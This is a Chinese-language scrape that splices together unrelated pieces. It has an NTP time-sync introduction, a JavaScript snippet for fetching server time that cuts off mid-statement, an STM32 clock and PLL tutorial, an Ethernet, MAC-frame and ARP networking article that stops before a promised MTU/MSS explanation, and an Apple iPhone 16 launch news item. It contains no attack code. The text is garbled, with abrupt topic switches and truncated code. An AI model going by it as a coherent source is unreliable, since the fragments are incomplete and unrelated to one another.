版本还没有面世, 但改进过程中的许多方法已经加入xNTP3. y 中,它将适用于IPV6。NTP发展的另一分支是简单网络时间协议(Simple Network Time Protocol ,SNTP) ,适用于时间精确度低于NTP的客户机。
1.2时间同步子网络
在NTP 模型中,时间同步子网是由主时间服务器、二级时间服务器、客户机和网络链路连接而成的网络。一般来说,Stratum = 1 的主时间服务器时间是最精确的,Stratum = 2的时间服务器称为二级时间服务器,它们一般都通过同步子网从作为主参考源的主时间服务器获取时间信息,然后为Stratum > 2的服务器或客户机提供同步信息。
由于客户端时间和服务器端时间不一致,需要将一个项目产品统一改成获取服务器时间,于是写了个全局方法来替换new Date()
1.创建一个getSystemTime文件注册为全局事件,
let nowTime = '' let flag = true let IntervalAdd = null function getSystemTime(){ // 触发函数更新时间,为了防止一段时间内重复触发加一个节流阀 if(flag) { flag = false getSystemTimefun() setTimeout(() => { flag = true },5000) } // 第一次进来没有时间,判断有时间先返回旧的时间,没有时间去触发获取服务器时间 if(nowTime) { return JSON.parse(JSON.stringify(nowTime)) } } function getSystemTimefun() { var xhr = new XMLHttpRequest(); //利用服务器接口来获取服务器时间,我这里使用了获取系统版本接口可自行修改 xhr.open('get', 'api/auth/system/version'); xhr.onreadystatechange = function () { //等待响应完成 console.log(this.readyState === this.DONE); if (this.readyState === this.DONE) { //响应完毕后修改时区为东八区为准 var serverTime = xhr.
一、时钟体系
为什么需要时钟?
时钟可以为系统提供精确的定时,比如时间显示,定时器,pwm…
为芯片各功能模块提供工作势能,使能各组管脚工作,如果不使能,管脚无法工作
同步数据传输
给单片机提供一个时钟信号(一个非常稳定的频率信号),使单片机各内部组件同步工作,并且在和外部设备通信时是也能达到同步。
动态调整运行频率,就可以控制性能与功耗!
1、参考手册 STM32F4xx 中文参考手册.pdf 第 106 页
2、时钟源
a.可以使用三种不同的时钟源来驱动系统时钟 (SYSCLK),CPU 运行的频率为 168MHz:
● HSI 振荡器时钟(16MHz),也就是高速内部时钟,一般来说很少用,因为精度没有外部高速时钟那么高。
● HSE 振荡器时钟,也就是高速外部时钟,GECM4 开发板 8MHz。
● 主 PLL (PLL) 时钟
b.器件具有以下两个次级时钟源:
● 32 kHz 低速内部 RC (LSI RC),该 RC 用于驱动独立看门狗,也可选择提供给 RTC 用于停机/待机模式下的自动唤醒。
● 32.768 kHz 低速外部晶振(LSE 晶振),用于驱动 RTC 时钟 (RTCCLK)对于每个时钟源来说,在未使用时都可单独打开或者关闭,以降低功耗。
3、时钟树
时钟树就是关注时钟源和时钟的流向,嵌入式系统中的模块和外设工作都以时钟为基准。有了时钟树,就有了时钟域。嵌入式中除了内核,还有各个单元,每个单元工作在不同的时钟频率下,给每个单元提供不同的时钟。
实际应用中根据需要配置外设的时钟控制开关,选择需要的时钟频率,并可关闭不用外设时钟。
时钟树分析 51单片机和STM32时钟体系对比 二、PLL
2.1 概述
PLL(Phase Locked Loop): 为锁相回路或锁相环,用来统一整合时钟信号,使高频器件正常工作,如内存的存取资料等。
PLL基于振荡器中的反馈技术,许多电子设备要正常工作,通常需要外部的输入信号与内部的振荡信号同步。
一般的晶振由于工艺与成本原因,做不到很高的频率,而在需要高频应用时,由相应的器件VCO,实现转成高频,但并不稳定,故利用锁相环路就可以实现稳定且高频的时钟信号。
2.2 基本组成
锁相环路是一种反馈控制电路,简称锁相环(PLL,Phase-Locked Loop)。锁相环的特点是:利用外部输入的参考信号控制环路内部振荡信号的频率和相位。因锁相环可以实现输出信号频率对输入信号频率的自动跟踪,所以锁相环通常用于闭环跟踪电路。
数据链路层-以太网与ARP协议 文章目录 1.数据链路层2.以太网2.1什么是以太网2.2MAC帧格式 3.ARP协议3.1为什么有ARP协议?3.2ARP的定位3.3ARP协议工作流程3.4ARP数据格式 4.RARP协议 1.数据链路层 数据链路层是网络协议栈中最底层的内容,而在之前对其他层次的学习让我们知道传输层可以保证数据的可靠性问题,网络层保证数据跨网络转发的路由问题,而数据链路层解决的就是局域网内两台主机间通信的问题。
2.以太网 2.1什么是以太网 以太网属于一种局域网通信技术。
不同局域网所采用的通信技术可能是不同的,常见的局域网技术有以下三种:
以太网:以太网是一种计算机局域网技术,一种应用最普遍的局域网技术。令牌环网:令牌环网常用于IBM系统中,在这种网络中有一种专门的帧称为“令牌”,在环路上持续地传输来确定一个节点何时可以发送包。无线LAN/WAN:无线局域网是有线网络的补充和扩展,现在已经是计算机网络的一个重要组织部分。 虽然网络中各个局域网所采用的通信技术可能的不同的,但是IP屏蔽了底层网络的差异,对于网络通信双方的IP层及其往上的协议来说,它们并不关心底层具体使用的是哪种局域网技术。
网络中的路由器会不断去掉数据旧的局域网报头,并添加上新的局域网报头,因此数据在进行跨网络传输时,就算所需跨越的网络采用的是不同的局域网技术,最终也能够正确实现跨越。
(1)以太网通信原理
以太网”不是一种具体的网络,而是一种技术标准,它既包含了数据链路层的内容,也包含了一些物理层的内容。例如,以太网规定了网络拓扑结构,访问控制方式,传输速率等。以太网中的网线必须使用双绞线,传输速率有10M,100M,1000M等。 以太网中所有的主机共享一个通信信道,当局域网中的一台主机发出数据后,该局域网中的所有主机都能够收到该数据。
比如当局域网中的主机A想要发送数据给主机B时,其实局域网当中的每一台主机都能收到主机A发出去的数据,只不过最终只有主机B会将主机A发来的数据向上进行交付。局域网当中的其他主机虽然也收到了主机A发出的数据,但经过识别后发现这个数据不是发送给自己的,于是就会直接将该数据丢弃而不会向上进行交付。 (2)数据碰撞
由于以太网中的所有的主机共享一个通信信道,因此在同一时刻只允许有一台主机发送数据,否则各个主机发送的数据就会相互干扰。站在系统的角度来看,这里各个主机所共享的通信信道就是一种临界资源,这个临界资源同一时刻只允许一台主机使用。
对于这个问题,以太网的做法就是先不限制各个主机发送数据的能力,局域网中的每个主机想发数据的时候直接发就行了,但是只要发送出去的数据与其他主机发送的数据产生了碰撞,那就得执行碰撞避免算法。所谓的碰撞避免算法就是,当主机发送出去的数据产生碰撞时,该主机需要等待一段时间后再进行数据重发,在主机等待的时候就能够就能够尽可能让局域网当中的数据消散。一个局域网就是一个碰撞域。 (3)交换机
交换机通过维护一个MAC地址表来记录每个端口连接的设备的MAC地址。当数据帧到达交换机时,它会根据目的MAC地址查找MAC地址表,以确定将数据帧转发到哪个端口。这种机制减少了数据帧被错误地发送到多个端口的可能性,从而降低了碰撞的概率。
交换机支持VLAN技术,可以将网络划分为多个逻辑上独立的广播域。每个VLAN内的设备只能与同一VLAN内的其他设备通信,从而减少了广播流量和碰撞的可能性。
(4)令牌环网
令牌环网(Token-ring network)的传输方法在物理上采用了星形拓扑结构,但逻辑上是环形拓扑结构。令牌环网的通信传输介质可以是无屏蔽双绞线、屏蔽双绞线和光纤等。令牌环网中各节点间采用多站访问部件(Multistation Access Unit,MAU)连接在一起,MAU是一种专业化集线器,用来围绕工作站计算机的环路进行传输。 在令牌环网中有一种专门的帧称为“令牌”,这个“令牌”会在环路上持续地传输,只有拿到“令牌”的主机才能发送数据,因此发送出去的数据不会发生碰撞。
令牌环网当中的“令牌”就像系统当中用于保护临界资源的互斥锁一样,“令牌”与互斥锁一样也有“忙”和“闲”两种状态,“忙”表示令牌已经被占用,而“闲”则表示令牌没有被占用。想要发送数据的计算机必须首先检测到“闲”令牌,并将其置为“忙”状态,然后才可以发送数据,这就和申请互斥锁的过程很像。此外,由于“令牌”在网环上是按顺序依次传递的,因此对于所有入网的计算机而言,它们获取令牌的机会都是相等的,因此不会造成某台主机发送数据的饥饿问题。 2.2MAC帧格式 MAC帧是数据链路层的一种数据数据格式,用于在局域网(以太网)传递数据。
源地址和目的地址是指网卡的硬件地址(也叫MAC地址),长度是48位,是在网卡出厂时固化的。帧协议类型字段有三种值,分别对应IP协议(0800)、ARP协议(0806)和RARP协议(8035)。帧末尾是CRC校验码。 (1)MAC帧如何将报头与有效载荷进行分离?
以太网MAC帧的帧头和帧尾都是固定长度的,因此当底层收到一个MAC帧后,直接提取出MAC帧当中固定长度的帧头和帧尾,此时剩下的就是有效载荷了。
(2)MAC帧如何决定将有效载荷交付给上层的哪一个协议?
以太网MAC帧对应的上层协议不止一种,因此在将MAC帧的报头和有效载荷分离后,还需要确定应该将分离出来的有效载荷交付给上层的哪一个协议。
在MAC帧的帧头当中有2个字节的类型字段,因此在分离出报头和有效载荷后,根据该字段将有效载荷交付给对应的上层协议即可。
(3)数据传输过程
假设局域网当中的主机A想要将IP数据报发送给同一局域网当中的主机B,那么主机A封装MAC帧当中的目的地址就是主机B的MAC地址,源地址就是主机A的MAC地址,而帧协议的类型对应就是0800,紧接着就是要发送的IP数据报,帧尾部分对应就是CRC校验。
当主机A将该MAC帧发送到局域网当中后,局域网当中的所有主机都可以收到这个MAC帧,包括主机A自己。
主机A收到该MAC帧后,可以对收到的MAC帧进行CRC校验,如果校验失败则说明数据发送过程中产生了碰撞,此时主机A就会执行碰撞避免算法,后续进行MAC帧重发。主机B收到该MAC帧后,提取出MAC帧当中的目的地址,发现该目的地址与自己的MAC地址相同,于是在CRC校验成功后就会将有效载荷交付给上层IP层(0800)进行进一步处理。局域网中的其他主机收到该MAC帧后,也会提取出MAC帧当中的目的地址,但发现该目的地址与自己的MAC地址不匹配,于是就会直接将这个MAC帧丢弃掉。 也就是说,当底层收到一个MAC帧后,会根据MAC帧当中的目的地址来判断该MAC帧是否是发给自己的,如果是发送给自己的则会再对其进行CRC校验,如果校验成功则会根据该MAC帧的帧协议类型,将该MAC交付给对应的上层协议进行处理,如果不是发送给自己的则在数据链路层直接将数据丢弃。
(4)认识MAC地址
MAC地址用来识别数据链路层中相连的节点。长度为48位,及6个字节,一般用16进制数字加上冒号的形式来表示,例如:08:00:27:03:fb:19。在网卡出厂时就确定了,不能修改,MAC地址通常是唯一的(虚拟机中的MAC地址不是真实的MAC地址,可能会冲突;也有些网卡支持用户配置MAC地址)。 我们可以通过ifconfig命令来查看我们的MAC地址。
ether:以太。
(5)对比理解MAC地址和IP地址
实际数据在路由过程中会存在两套地址,一套是源IP地址和目的IP地址,还有一套是源MAC地址和目的MAC地址。
IP地址描述的是数据通信总体的起点和终点。MAC地址描述的是数据通信上的每一个区间的起点和终点。 比如唐僧取经,源IP地址就是东土大唐,目的IP地址就是西天,而源MAC地址就是取经路途上一个区间内的起点,目的MAC地址就是取经路途上一个区间内的终点。
因此数据在路由过程中,源IP地址和目的IP地址可以理解成是不会变化的(但实际上由于NAT技术,源IP地址也是会发生变化的),而数据每进行一跳后其源MAC地址和目的MAC地址都会变化。
(6)认识MTU
MTU(Maximum Transmission Unit,最大传输单元)描述的是底层数据帧一次最多可以发送的数据量,这个限制是不同的数据链路层对应的物理层产生的。
以太网对应MTU的值一般是1500字节,不同的网络类型有不同的MTU,如果一次要发送的数据超过了MTU,则需要在IP层对数据进行分片(fragmentation)。此外,以太网规定MAC帧中数据的最小长度为46字节,如果发送数据量小于46字节,则需要在数据后面补填充位,比如ARP数据包的长度就是不够46字节的。 (7)认识MSS
由于数据链路层限制了单次数据传输的数据量(MTU),所以为了避免数据在网络层进行IP分片,我们应在传输层对向网络层交付的数据大小加以控制。
我们将TCP的单个数据报的最大报文长度,称为MSS(Max Segment Size)。
TCP通信双方在建立连接的过程中,就会进行MSS协商,最终选取双方支持的MSS值当中的较小值作为最终MSS。
MSS的值实际就是在TCP首部的40字节的选项字段当中的(kind=2)。
最理想的情况下,MSS的值正好就是在数据不会在IP层进行分片的最大长度。
MSS和MTU的关系如下:
3.ARP协议 地址解析协议(Address Resolution Protocol,ARP)协议,是根据IP地址获取MAC地址的一个TCP/IP协议。
苹果定档9月9日,揭开新品神秘面纱
苹果公司近日正式宣布,将于9月9日在加州库比蒂诺的Apple Park,史蒂夫·乔布斯剧院举办年度秋季新品发布会,主题为“It’s Glowtime”,预示着Siri界面将迎来一场华丽变身。此次发布会较原计划提前一天,或为避免与科技圈外的重大事件撞期,集中全球目光于新品之上。
iPhone 16 Pro:大屏新视界,摄影再升级
发布会焦点无疑将落在iPhone 16系列上,尤其是Pro型号。据悉,该系列将搭载更大尺寸的屏幕,配合重新设计的摄像头凸起,不仅视觉上更为和谐,还预示着摄影性能的显著提升。此外,颜色选项的更新也将为用户带来更多选择。而Apple Intelligence作为全新AI功能,将成为所有新iPhone的标准配置,预示着苹果在智能化道路上的又一重要里程碑。
Apple Watch与AirPods:设计革新,体验升级
除iPhone外,苹果还计划对其智能穿戴设备进行全面升级。Apple Watch将迎来更大显示屏与更纤薄设计,同时推出采用创新塑料材质的Watch SE,旨在拓宽市场覆盖面。AirPods系列则准备了两款新品,一款低端迭代,一款中端升级,均借鉴AirPods Pro的设计语言,中端版更是首次引入降噪功能,满足不同消费者的需求。
iOS 18:智能化新高度,Apple Intelligence引领未来
伴随新品的发布,iOS 18也将同步登场。这一系统版本以Apple Intelligence为核心,不仅能自动总结消息内容,还能生成趣味图像,显著提升用户交互体验。苹果寄望通过这一重大软件升级,重振市场销量,引领行业智能化潮流。
人事变动平稳过渡,苹果未来可期
在发布会前夕,苹果公司还宣布了首席财务官的继任计划,Kevan Parekh将从长期担任此职的Luca Maestri手中接过接力棒,后者将于2025年初卸任并专注于信息技术和房地产领域。此次人事变动被视为“计划中的继任”,标志着苹果管理层的平稳过渡,为公司的长远发展奠定了坚实基础。